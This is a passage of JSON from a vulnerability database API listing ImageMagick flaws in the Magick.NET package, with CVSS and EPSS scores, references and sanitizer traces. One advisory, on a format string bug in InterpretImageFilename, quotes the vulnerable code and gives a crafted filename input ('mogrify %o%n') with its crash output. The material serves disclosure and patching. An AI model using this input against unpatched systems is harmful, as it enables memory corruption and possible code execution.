t.gov/vuln/detail/CVE-2026-30883","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30883"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445878","reference_id":"2445878","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445878"},{"reference_url":"https://github.com/advisories/GHSA-qmw5-2p58-xvrc","reference_id":"GHSA-qmw5-2p58-xvrc","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-qmw5-2p58-xvrc"},{"reference_url":"https://usn.ubuntu.com/8127-1/","reference_id":"USN-8127-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8127-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-30883","GHSA-qmw5-2p58-xvrc"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-n47w-r932-abey"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24122?format=json","vulnerability_id":"VCID-ny3q-taj8-9qdx","summary":"ImageMagick has possible memory leak in ASHLAR coder when action fails\nThe ASHLAR coder leaks a temporary image when an action fails and that could result to an out of memory.","references":[{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"3.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-6p22-q7w5-33pg","reference_id":"","reference_type":"","scores":[{"value":"3.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-6p22-q7w5-33pg"},{"reference_url":"https://github.com/advisories/GHSA-6p22-q7w5-33pg","reference_id":"GHSA-6p22-q7w5-33pg","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-6p22-q7w5-33pg"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1077698?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.11.1","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.11.1"}],"aliases":["GHSA-6p22-q7w5-33pg"],"risk_score":1.5,"exploitability":"0.5","weighted_severity":"3.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-ny3q-taj8-9qdx"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21884?format=json","vulnerability_id":"VCID-p5aw-n691-nkff","summary":"ImageMagick: MSL image stack index may fail to refresh, leading to leaked images\nSometimes msl.c fails to update the stack index, so an image is stored in the wrong slot and never freed on error, causing leaks.\n\n```\n==841485==ERROR: LeakSanitizer: detected memory leaks\n\nDirect leak of 13512 byte(s) in 1 object(s) allocated from:\n    #0 0x7ff330759887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25988.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25988.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25988","reference_id":"","reference_type":"","scores":[{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06725","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06733","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06724","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06726","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06568","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06577","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06647","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06656","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06663","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06671","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06628","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06578","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06558","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06594","published_at":"2026-04-04T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25988"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25988","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25988"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/4354fc1d554ec2e6314aed13536efa7bde9593d2","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/4354fc1d554ec2e6314aed13536efa7bde9593d2"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-782x-jh29-9mf7","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:08:10Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-782x-jh29-9mf7"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25988","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25988"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442101","reference_id":"2442101","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442101"},{"reference_url":"https://github.com/advisories/GHSA-782x-jh29-9mf7","reference_id":"GHSA-782x-jh29-9mf7","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-782x-jh29-9mf7"},{"reference_url":"https://usn.ubuntu.com/8127-1/","reference_id":"USN-8127-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8127-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25988","GHSA-782x-jh29-9mf7"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-p5aw-n691-nkff"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/22389?format=json","vulnerability_id":"VCID-pcme-bwan-3bcf","summary":"ImageMagick has NULL Pointer Dereference in ClonePixelCacheRepository via crafted image\nA NULL pointer dereference in ClonePixelCacheRepository allows a remote attacker to crash any application linked against ImageMagick by supplying a crafted image file, resulting in Denial of Service.\n\n```\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==3704942==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x7f9d141239e0 bp 0x7ffd4c5711e0 sp 0x7ffd4c571148 T0)\n    #0 0x7f9d141239e0  (/lib/x86_64-linux-gnu/libc.so.6+0xc49e0)\n    #1 0x558a25e4f08d in ClonePixelCacheRepository._omp_fn.0 MagickCore/cache.c:784\n    #2 0x7f9d14c06a15 in GOMP_parallel (/lib/x86_64-linux-gnu/libgomp.so.1+0x14a15)\n    #3 0x558a25e43151 in ClonePixelCacheRepository MagickCore/cache.c:753\n    #4 0x558a25e49a96 in OpenPixelCache MagickCore/cache.c:3849\n    #5 0x558a25e45117 in GetImagePixelCache MagickCore/cache.c:1829\n    #6 0x558a25e4dde3 in SyncImagePixelCache MagickCore/cache.c:5647\n    #7 0x558a256ba57d in SetImageExtent MagickCore/image.c:2713\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25798.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25798.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25798","reference_id":"","reference_type":"","scores":[{"value":"0.00063","scoring_system":"epss","scoring_elements":"0.19405","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00063","scoring_system":"epss","scoring_elements":"0.19433","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00063","scoring_system":"epss","scoring_elements":"0.19491","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00063","scoring_system":"epss","scoring_elements":"0.19538","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00063","scoring_system":"epss","scoring_elements":"0.19535","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00063","scoring_system":"epss","scoring_elements":"0.19683","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00063","scoring_system":"epss","scoring_elements":"0.19483","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00063","scoring_system":"epss","scoring_elements":"0.19264","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00063","scoring_system":"epss","scoring_elements":"0.19304","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00063","scoring_system":"epss","scoring_elements":"0.19314","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00063","scoring_system":"epss","scoring_elements":"0.19416","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00063","scoring_system":"epss","scoring_elements":"0.19401","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00063","scoring_system":"epss","scoring_elements":"0.19393","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00152","scoring_system":"epss","scoring_elements":"0.35968","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25798"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25798","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25798"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/e046417675d5c26e5f48816851a406c121c77469","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/e046417675d5c26e5f48816851a406c121c77469"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/issues/8567","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/issues/8567"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p863-5fgm-rgq4","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:20:58Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-p863-5fgm-rgq4"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25798","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25798"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442119","reference_id":"2442119","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442119"},{"reference_url":"https://github.com/advisories/GHSA-p863-5fgm-rgq4","reference_id":"GHSA-p863-5fgm-rgq4","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-p863-5fgm-rgq4"},{"reference_url":"https://usn.ubuntu.com/8127-1/","reference_id":"USN-8127-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8127-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25798","GHSA-p863-5fgm-rgq4"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-pcme-bwan-3bcf"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24199?format=json","vulnerability_id":"VCID-r3vw-ncns-cqgb","summary":"ImageMagick is vulnerable to heap buffer over-write on 32-bit systems in SFW decoder\nAn overflow on  32-bit systems can cause a crash in the SFW decoder when processing extremely large images.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-31853.json","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-31853.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-31853","reference_id":"","reference_type":"","scores":[{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02624","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02629","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02621","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02606","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02649","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00014","scoring_system":"epss","scoring_elements":"0.02625","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03205","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03371","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03326","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03335","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03215","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.03252","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.0323","published_at":"2026-04-13T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-31853"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31853","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31853"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-56jp-jfqg-f8f4","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-11T17:41:49Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-56jp-jfqg-f8f4"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31853","reference_id":"","reference_type":"","scores":[{"value":"5.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31853"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2446690","reference_id":"2446690","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2446690"},{"reference_url":"https://github.com/advisories/GHSA-56jp-jfqg-f8f4","reference_id":"GHSA-56jp-jfqg-f8f4","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-56jp-jfqg-f8f4"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-31853","GHSA-56jp-jfqg-f8f4"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-r3vw-ncns-cqgb"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/27754?format=json","vulnerability_id":"VCID-r889-wzc7-1yem","summary":"ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution\n## Summary\nA format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution.\n<br>\n\n## Details\n### root cause\n```\nMagickExport size_t InterpretImageFilename(const ImageInfo *image_info,\n  Image *image,const char *format,int value,char *filename,\n  ExceptionInfo *exception)\n{\n\n...\n\n  while ((cursor=strchr(cursor,'%')) != (const char *) NULL)\n  {\n    const char\n      *q = cursor;\n\n    ssize_t\n      offset = (ssize_t) (cursor-format);\n\n    cursor++;  /* move past '%' */\n    if (*cursor == '%')\n      {\n        /*\n          Escaped %%.\n        */\n        cursor++;\n        continue;\n      }\n    /*\n      Skip padding digits like %03d.\n    */\n    if (isdigit((int) ((unsigned char) *cursor)) != 0)\n      (void) strtol(cursor,(char **) &cursor,10);\n    switch (*cursor)\n    {\n      case 'd':\n      case 'o':\n      case 'x':\n      {\n        ssize_t\n          count;\n\n        count=FormatLocaleString(pattern,sizeof(pattern),q,value);\n        if ((count <= 0) || (count >= MagickPathExtent) ||\n            ((offset+count) >= MagickPathExtent))\n          return(0);\n        (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent-\n          offset));\n        cursor++;\n        break;\n      }\n```\nWhen the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function.\n<br>\n```\nMagickExport ssize_t FormatLocaleString(char *magick_restrict string,\n  const size_t length,const char *magick_restrict format,...)\n{\n  ssize_t\n    n;\n\n  va_list\n    operands;\n\n  va_start(operands,format);\n  n=FormatLocaleStringList(string,length,format,operands);\n  va_end(operands);\n  return(n);\n}\n```\n```\nMagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string,\n  const size_t length,const char *magick_restrict format,va_list operands)\n{\n...\nn=(ssize_t) _vsnprintf_l(string,length,format,locale,operands);\n```\nInside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations.\n<br>\n## PoC\n### 1. Heap overflow read tested on development container\n```\nroot@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n\n=================================================================\n==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408\nREAD of size 8 at 0x603000000001 thread T0\n    #0 0x5bdccaae689d in SplaySplayTree splay-tree.c\n    #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)\n    #4 